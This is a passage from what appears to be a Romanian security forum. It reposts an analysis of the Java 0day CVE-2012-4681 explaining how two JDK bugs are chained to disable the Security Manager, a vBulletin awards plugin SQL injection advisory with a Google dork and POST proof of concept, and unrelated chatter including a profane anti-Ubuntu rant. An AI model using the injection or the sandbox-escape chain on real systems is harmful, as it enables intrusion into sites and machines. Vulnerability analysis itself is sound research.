AccessController.[I]doPrivileged[/I]([B]new[/B] PrivilegedAction<Field>() {[/FONT] [FONT=Monospace][B]public[/B] Field run() {[/FONT] [FONT=Monospace][B]try[/B] {[/FONT] [FONT=Monospace]Field field = klass.getDeclaredField(fieldName);[/FONT] [FONT=Monospace][B]assert[/B] (field != [B]null[/B]);[/FONT] [FONT=Monospace]field.setAccessible([B]true[/B]);[/FONT] [FONT=Monospace][B]return[/B] field;[/FONT] [FONT=Monospace]} [B]catch[/B] (SecurityException e) {[/FONT] [FONT=Monospace][B]assert false[/B];[/FONT] [FONT=Monospace]} [B]catch[/B] (NoSuchFieldException e) {[/FONT] [FONT=Monospace][B]assert false[/B];[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]return null[/B];[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]});[/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] We can see that it is using reflection to get fields and the complete implementation is inside a doPrivileged block. This getField method can be used to get any field on a class and the good thing is that it can even retrieve private ones. Well this is of course very useful, it's important to notice that the classes that are part of certain packages are restricted for applets and cannot be accessed or used. Such packages are: com.sun.deploy.* com.sun.imageio.* com.sun.javaws.* com.sun.jnlp.* com.sun.xml.internal.bind.* com.sun.xml.internal.ws.* sun.* Trying to instantiate or use classes in these packages will result in an AccessControlException. This means that we are not able to get a reference to the sun.awt.SunToolkit class from our applet. But the basic thing we need to know is that calls to certain methods can potentially bypass the SecurityManager checks depending on the immediate caller's class loader. This is explained in detail in the “Secure Coding Guidelines” document by Sun [1] in guidelines 9-8 and 9-9. This exploit is abusing this situation taking advantage of the immediate caller to bypass security checks. Vulnerabilities There are 2 different zero-day vulnerabilities used in this exploit: one is used to obtain a reference to the sun.awt.SunToolkit class and the other is used to invoke the public getField method on that class. The exploit is making use of the java.beans.Expression which is a java.beans.Statement subclass. There are 2 Expression instances that are used to trigger these 2 different bugs. When the Expression.execute method is called it ends up calling Statement.invokeInternal method, so let's check the implementation: [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]private[/B] Object invokeInternal() [B]throws[/B] Exception {[/FONT] [FONT=Monospace]Object target = getTarget();[/FONT] [FONT=Monospace]String methodName = getMethodName();[/FONT] [FONT=Monospace][B]if[/B] (target == [B]null[/B] || methodName == [B]null[/B]) {[/FONT] [FONT=Monospace][B]throw new[/B] NullPointerException((target == [B]null[/B] ? "target" :[/FONT] [FONT=Monospace]"methodName") + " should not be null");[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]Object[] arguments = getArguments();[/FONT] [FONT=Monospace][B]if[/B] (arguments == [B]null[/B]) {[/FONT] [FONT=Monospace]arguments = [I]emptyArray[/I];[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]// Class.forName() won't load classes outside[/FONT] [FONT=Monospace]// of core from a class inside core. Special[/FONT] [FONT=Monospace]// case this method.[/FONT] [FONT=Monospace][B]if[/B] (target == Class.[B]class[/B] && methodName.equals("forName")) {[/FONT] [FONT=Monospace][B]return[/B] ClassFinder.[I]resolveClass[/I]((String)arguments[0], [B]this[/B].loader);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]Class[] argClasses = [B]new[/B] Class[arguments.length];[/FONT] [FONT=Monospace][B]for[/B]([B]int[/B] i = 0; i < arguments.length; i++) {[/FONT] [FONT=Monospace]argClasses[i] = (arguments[i] == [B]null[/B]) ? [B]null[/B] : arguments[i].getClass();[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]AccessibleObject m = [B]null[/B];[/FONT] [FONT=Monospace][B]if[/B] (target [B]instanceof[/B] Class) {[/FONT] [FONT=Monospace]/*[/FONT] [FONT=Monospace]For class methods, simluate the effect of a meta class[/FONT] [FONT=Monospace]by taking the union of the static methods of the[/FONT] [FONT=Monospace]actual class, with the instance methods of "Class.class"[/FONT] [FONT=Monospace]and the overloaded "newInstance" methods defined by the[/FONT] [FONT=Monospace]constructors.[/FONT] [FONT=Monospace]This way "System.class", for example, will perform both[/FONT] [FONT=Monospace]the static method getProperties() and the instance method[/FONT] [FONT=Monospace]getSuperclass() defined in "Class.class".[/FONT] [FONT=Monospace]*/[/FONT] [FONT=Monospace][B]if[/B] (methodName.equals("new")) {[/FONT] [FONT=Monospace]methodName = "newInstance";[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]// Provide a short form for array instantiation by faking an nary-constructor.[/FONT] [FONT=Monospace][B]if[/B] (methodName.equals("newInstance") && ((Class)target).isArray()) {[/FONT] [FONT=Monospace]Object result = Array.[I]newInstance[/I](((Class)target).getComponentType(), arguments.length);[/FONT] [FONT=Monospace][B]for[/B]([B]int[/B] i = 0; i < arguments.length; i++) {[/FONT] [FONT=Monospace]Array.[I]set[/I](result, i, arguments[i]);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]return[/B] result;[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]if[/B] (methodName.equals("newInstance") && arguments.length != 0) {[/FONT] [FONT=Monospace]// The Character class, as of 1.4, does not have a constructor[/FONT] [FONT=Monospace]// which takes a String. All of the other "wrapper" classes[/FONT] [FONT=Monospace]// for Java's primitive types have a String constructor so we[/FONT] [FONT=Monospace]// fake such a constructor here so that this special case can be[/FONT] [FONT=Monospace]// ignored elsewhere.[/FONT] [FONT=Monospace][B]if[/B] (target == Character.[B]class[/B] && arguments.length == 1 &&[/FONT] [FONT=Monospace]argClasses[0] == String.[B]class[/B]) {[/FONT] [FONT=Monospace][B]returnnew[/B] Character(((String)arguments[0]).charAt(0));[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]try[/B] {[/FONT] [FONT=Monospace]m = ConstructorFinder.[I]findConstructor[/I]((Class)target, argClasses);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]catch[/B] (NoSuchMethodException exception) {[/FONT] [FONT=Monospace]m = [B]null[/B];[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]if[/B] (m == [B]null[/B] && target != Class.[B]class[/B]) {[/FONT] [FONT=Monospace]m = [I]getMethod[/I]((Class)target, methodName, argClasses);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]if[/B] (m == [B]null[/B]) {[/FONT] [FONT=Monospace]m = [I]getMethod[/I](Class.[B]class[/B], methodName, argClasses);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]else[/B] {[/FONT] [FONT=Monospace]/*[/FONT] [FONT=Monospace]This special casing of arrays is not necessary, but makes files[/FONT] [FONT=Monospace]involving arrays much shorter and simplifies the archiving infrastrcure.[/FONT] [FONT=Monospace]The Array.set() method introduces an unusual idea - that of a static method[/FONT] [FONT=Monospace]changing the state of an instance. Normally statements with side[/FONT] [FONT=Monospace]effects on objects are instance methods of the objects themselves[/FONT] [FONT=Monospace]and we reinstate this rule (perhaps temporarily) by special-casing arrays.[/FONT] [FONT=Monospace]*/[/FONT] [FONT=Monospace][B]if[/B] (target.getClass().isArray() &&[/FONT] [FONT=Monospace](methodName.equals("set") || methodName.equals("get"))) {[/FONT] [FONT=Monospace][B]int[/B] index = ((Integer)arguments[0]).intValue();[/FONT] [FONT=Monospace][B]if[/B] (methodName.equals("get")) {[/FONT] [FONT=Monospace][B]return[/B] Array.[I]get[/I](target, index);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]else[/B] {[/FONT] [FONT=Monospace]Array.[I]set[/I](target, index, arguments[1]);[/FONT] [FONT=Monospace][B]returnnull[/B];[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]m = [I]getMethod[/I](target.getClass(), methodName, argClasses);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]if[/B] (m != [B]null[/B]) {[/FONT] [FONT=Monospace][B]try[/B] {[/FONT] [FONT=Monospace][B]if[/B] (m [B]instanceof[/B] Method) {[/FONT] [FONT=Monospace][B]return[/B] MethodUtil.[I]invoke[/I]((Method)m, target, arguments);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]else[/B] {[/FONT] [FONT=Monospace][B]return[/B] ((Constructor)m).newInstance(arguments);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]catch[/B] (IllegalAccessException iae) {[/FONT] [FONT=Monospace][B]throw new[/B] Exception("Statement cannot invoke: " +[/FONT] [FONT=Monospace]methodName + " on " + target.getClass(),[/FONT] [FONT=Monospace]iae);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]catch[/B] (InvocationTargetException ite) {[/FONT] [FONT=Monospace]Throwable te = ite.getTargetException();[/FONT] [FONT=Monospace][B]if[/B] (te [B]instanceof[/B] Exception) {[/FONT] [FONT=Monospace][B]throw[/B] (Exception)te;[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]else[/B] {[/FONT] [FONT=Monospace][B]throw[/B] ite;[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]throw new[/B] NoSuchMethodException(toString());[/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] And the Statement.getMethod implementation is: [TABLE=width: 100%] [TR] [TD=width: 100%] static Method getMethod(Class<?> type, String name, Class<?>... args) { try { return MethodFinder.findMethod(type, name, args); } catch (NoSuchMethodException exception) { return null; } } [/TD] [/TR] [/TABLE] Highlighted in the code you'll see the calls to com.sun.beans.finder.ClassFinder.resolveClass and com.sun.beans.finder.MethodFinder.findMethod methods. com.sun.beans.finder.ClassFinder.findClass vulnerability The Statement.invokeInternal method is calling com.sun.beans.finder.ClassFinder.resolveClass and if we take a look a its implementation we'll see that it ends up calling the com.sun.beans.finder.ClassFinder.findClass method: [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]public static[/B] Class<?> resolveClass(String name, ClassLoader loader) [B]throws[/B] ClassNotFoundException {[/FONT] [FONT=Monospace]Class<?> type = PrimitiveTypeMap.[I]getType[/I](name);[/FONT] [FONT=Monospace][B]return[/B] (type == [B]null[/B]) ? [I]findClass[/I](name, loader): type;[/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]public[/B] [B]static[/B] Class<?> findClass(String name) [B]throws[/B] ClassNotFoundException {[/FONT] [FONT=Monospace][B]try[/B] {[/FONT] [FONT=Monospace]ClassLoader loader = Thread.[I]currentThread[/I]().getContextClassLoader();[/FONT] [FONT=Monospace][B]if[/B] (loader == [B]null[/B]) {[/FONT] [FONT=Monospace]loader = ClassLoader.[I]getSystemClassLoader[/I]();[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]if[/B] (loader != [B]null[/B]) {[/FONT] [FONT=Monospace][B]return[/B] Class.[I]forName[/I](name, [B]false[/B], loader);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]} [B]catch[/B] (ClassNotFoundException exception) {[/FONT] [FONT=Monospace]// use current class loader instead[/FONT] [FONT=Monospace]} [B]catch[/B] (SecurityException exception) {[/FONT] [FONT=Monospace]// use current class loader instead[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]return[/B] Class.[I]forName[/I](name);[/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] This code shows that if an exception is captured, then the default is to simply call Class.forName and this is exaclty what happens here. As it is explained in the Guideline 9-9: “Safely invoke standard APIs that perform tasks using the immediate caller's class loader instance” on the “Secure Code Guidelines” documentation [1], a call to Class.forName will use the immediate caller ClassLoader and in this case the caller is part of the JDK which is trusted thus allowing us to get any class on any package. The caller's stack can be seen by simply debugging the applet: MethodFinder.findMethod vulnerability According to the “Secure Code Guidelines” document in guideline 9.8 the java.lang.Class.getMethod and java.lang.Class.getMethods only take the immediate caller into account when performing security checks. These methods can be used to get a Method reference via reflection but only “public” ones. Even though we have a reference to the sun.awt.SunToolkit class we cannot call any of its methods directly because is part of a restricted package and a security exception will be raised. What is needed here is a way of getting a method reference via reflection but having a “trusted” immediate caller in the stack in order to bypass security checks. The implementation of com.sun.beans.finder.MethodFinder.findMethod is this: [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]public static[/B] Method findMethod(Class<?> type, String name, Class<?>...args) [B]throws[/B] NoSuchMethodException {[/FONT] [FONT=Monospace][B]if[/B] (name == [B]null[/B]) {[/FONT] [FONT=Monospace][B]throw new[/B] IllegalArgumentException("Method name is not set[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]PrimitiveWrapperMap.[I]replacePrimitivesWithWrappers[/I](args);[/FONT] [FONT=Monospace]Signature signature = [B]new[/B] Signature(type, name, args);[/FONT] [FONT=Monospace]Method method = [I]CACHE[/I].get(signature);[/FONT] [FONT=Monospace][B]if[/B] (method != [B]null[/B]) {[/FONT] [FONT=Monospace][B]return[/B] method;[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]method = [I]findAccessibleMethod[/I]([B]new[/B] MethodFinder(name, args).find(type.getMethods()));[/FONT] [FONT=Monospace][I]CACHE[/I].put(signature, method);[/FONT] [FONT=Monospace][B]return[/B] method;[/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] The call to findAccessibleMethod ends up calling java.lang.Class.getMethods and the immediate caller in the stack is com.sun.beans.finder.MethodFinder which is trusted since is part of the JDK thus bypassing the security checks. Once again we can see the callers stack by debugging the applet: Affected Versions The com.sun.beans.finder.MethodFinder and com.sun.beans.finder.ClassFinder classes are available only since JDK 7. Putting all together So this exploit is performing the following steps: Creates a Statement instance that will call System.setSecurityManager(null) method using reflection. Creates a custom AccessControlContext with full permissions. With one bug it gets a reference to the sun.awt.SunToolkit class that is restricted to applets. With the other bug it invokes the getField public static method on sun.awt.SunToolkit using reflection with a trusted immediate caller that bypasses the security checks. With the getField method it is getting a reference to Statement.acc private field and setting its value to the custom AccessControlContext instance previously created. Finally it executes the Statement that will disable the Security Manager bypassing all security checks because it has full permissions set in its AccessControlContext. Author Esteban Guillardoy esteban@immunityinc.com twitter: @sagar38 References [1] - Secure Coding Guidelines for the Java Programming Language, Version 4.0 - Secure Coding Guidelines for the Java Programming Language, Version 4.0 [2] - Java SE 7 Security Architecture - Java Security Architecture: - [3] - Java SE 7 Security Documents - http://docs.oracle.com/javase/7/docs/technotes/guides/security/ [4] - Sami Koivu Blog - Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056) - (Slightly) Random Broken Thoughts: Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056) Posted by Nico Waisman at 11:15 AM Sursa: Immunity Products: Java 0day analysis (CVE-2012-4681)

Alea sunt cele de acum 1 an si jumatate. Trebuie sa si arate bine, dar sa se si potriveasca cu tema.

Salut, De la Pastele de anul trecut tot incercam sa schimbam header-ul forumului. Propuneri de atunci, pentru idei: Ne ajuta cineva cu un nou header?

Da, irelevant faptul ca e vorba de Windows 8...

Ce nu inteleg eu: de ce pula mea se alege cacatul de Ubuntu pentru astfel de comparatii? Nu suport faptul ca s-a ajuns sa se vorbeasca despre Linux ca fiind Ubuntu. Singurul lucru ok la Ubuntu, e ca sunt mii de ratati care fac package-uri. V-ati uitat si voi la update-urile de kernel? Ati vazut cate mailuri de @canonical sunt acolo? Cifra tinde spre 0. Redhat, Novell si multi altii contribuie la kernel, la "chestia" aia care va face voua calculatorul sa mearga bine si repede, si vin muistii de la Canocical, pun un wallpaper colorat pe Desktop si 2-3 efecte vizuale din Compiz (la care au desigur contributie 0) si apar tone de copii copaci si ridica in slavi porcaria lor colorata. De asemenea cei care folosesc Ubuntu, 90%, sunt total paraleli cu ceea ce inseamna Linux, si singura comanda pe care o stiu e "sudo apt-get" desi nu au idee macar despre ce e acel "sudo". Probabil multi habar nu au de sistemul de fisiere, ca e un /proc pe acolo si multe altele. Dar nu tati, esti sunt smecheri ca au "Linux" si aduc argumentele pulii gen "Linux nu are virusi" in discutii impotriva unui sistem de operare pe care l-au folosit toata viata. De ce folosesc ei Linux? Simplu: pentru ca e la fel ca Windows. Da, dai doua click-uri te conectezi la WiFi, ai File Manager (Dolphin), ai browsere, ai Pidgin in loc de Yahoo! Messenger, si cateva alte mici diferente, tot GUI! Deci e pentru multi doar o schimbare de "stil" fara sa aiba cea mai vaga idee despre ce se intampla "sub". Deci, in special cap de tanc astia care ati folosit numai Ubuntu, abtineti-va de la comentarii penibile. Macar de v-ati fi compilat si voi un kernel, sau orice program din surse, sa vedeti care e treaba cu acel program, ce librarii foloseste, ce optiuni are la compilare si cat de customizabil e... Dar nu, voi sunteti "Linuxisti" cica. UBUNTU NU E LINUX! Muie Ubuntu!

vBulletin Yet Another Awards System 4.0.2 SQL Injection Authored by Backsl@sh/Dan Posted Aug 31, 2012 # Exploit Title: vBulletin Yet Another Awards System 4.0.2 Time Based SQL Injection 0day # Google Dork: inurl:awards.php intext:"powered by vbulletin" # Date: 29/08/12 # Exploit Author: Backsl@sh/Dan # Software Link: http://www.vbulletin.org/forum/showthread.php?t=232684 # Version: 4.0.2+ The vulnerability exists within /request_award.php. $vbulletin->input->clean_array_gpc('p', array( 'award_id' => TYPE_UINT, //'award_request_name' => TYPE_STR, //'award_request_recipient_name' => TYPE_STR, 'award_request_reason' => TYPE_STR, 'award_request_uid' => TYPE_UNIT, )); > $award_request_uid = $vbulletin->GPC['award_request_uid']; > > $db->query_write("INSERT INTO " . TABLE_PREFIX . "award_requests (award_req_uid, award_rec_uid, award_req_aid, award_req_reason) VALUES ('$award_request_uid', '$award_request_uid', '$award[award_id]', '". $db->escape_string($vbulletin->GPC['award_request_reason']) ."')"); $award_request_uid is used within an insert into statement, unsanitized. - POC - http://[site].com/request_award.php POST: do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit Thanks. Have fun. http://www.bugabuse.net/ Sursa: vBulletin Yet Another Awards System 4.0.2 SQL Injection ? Packet Storm

E ok pentru cei care vor sa testeze diverse query-uri, de oriunde ar fi. De exemplu, daca sunt la munca, si vreau sa incerc ceva nou, nu stau sa instalez serverul MySQL, intru acolo si testez.